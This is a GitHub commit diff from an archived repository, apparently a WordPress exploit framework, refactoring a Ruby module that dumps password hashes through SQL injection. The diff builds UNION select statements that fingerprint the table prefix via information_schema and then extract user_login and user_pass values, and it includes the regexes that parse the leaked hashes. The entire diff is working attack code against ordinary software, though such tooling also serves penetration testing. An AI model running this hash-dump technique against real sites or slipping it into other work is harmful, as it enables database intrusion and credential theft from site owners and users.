Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d6ef93c

Browse files
committed
Expose some more methods
1 parent 9793b86 commit d6ef93c

File tree

1 file changed

+23
-9
lines changed

1 file changed

+23
-9
lines changed

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 23 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,15 @@ def export_path
2727
# @return [String] a unique SQL select statement that can be used to extract the hashes.
2828
def hashdump_sql_statement
2929
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
30-
cols[hashdump_visible_field_index] = "concat(#{@bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{@eof_token})"
31-
"select #{cols.join(',')} from #{@table_prefix}users"
30+
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
31+
"select #{cols.join(',')} from #{table_prefix}users"
32+
end
33+
34+
# @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
35+
def hashdump_prefix_fingerprint_statement
36+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
37+
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
38+
"select #{cols.join(',')} from information_schema.tables where table_schema = database()"
3239
end
3340

3441
# @return [Integer] the zero-based index of the column which is visible in the response output.
@@ -61,6 +68,11 @@ def vulnerable_url
6168
nil
6269
end
6370

71+
# @return [String] the table prefix determined by the module.
72+
def table_prefix
73+
@table_prefix
74+
end
75+
6476
# Run the module.
6577
# @return [Boolean] true if successful.
6678
def run
@@ -70,7 +82,7 @@ def run
7082

7183
emit_info 'Determining database prefix...'
7284
return false unless determine_prefix
73-
emit_success "Found prefix: #{@table_prefix}", true
85+
emit_success "Found prefix: #{table_prefix}", true
7486

7587
emit_info 'Dumping user hashes...'
7688
hashes = dump_and_parse_hashes
@@ -82,10 +94,12 @@ def run
8294

8395
private
8496

85-
def hashdump_prefix_fingerprint_statement
86-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
87-
cols[hashdump_visible_field_index] = "concat(#{@bof_token},0x3a,table_name,0x3a,#{@eof_token})"
88-
"select #{cols.join(',')} from information_schema.tables where table_schema = database()"
97+
def bof_token
98+
@bof_token
99+
end
100+
101+
def eof_token
102+
@eof_token
89103
end
90104

91105
def dump_and_parse_hashes
@@ -139,7 +153,7 @@ def determine_prefix
139153
)
140154

141155
return nil unless res&.code == 200
142-
@table_prefix = res.body[/#{@bof_token}\:([^,]+?)usermeta\:#{@eof_token}/, 1]
156+
@table_prefix = res.body[/#{bof_token}\:([^,]+?)usermeta\:#{eof_token}/, 1]
143157
end
144158

145159
def output_hashdump_table(hashes)
@@ -163,7 +177,7 @@ def export_hashes(hashes)
163177
end
164178

165179
def parse_hashdump_body(body)
166-
pattern = /#{@bof_token}\:(.+?)\:(.+?)\:#{@eof_token}/
180+
pattern = /#{bof_token}\:(.+?)\:(.+?)\:#{eof_token}/
167181
body.scan(pattern)
168182
end
169183

0 commit comments

Comments
 (0)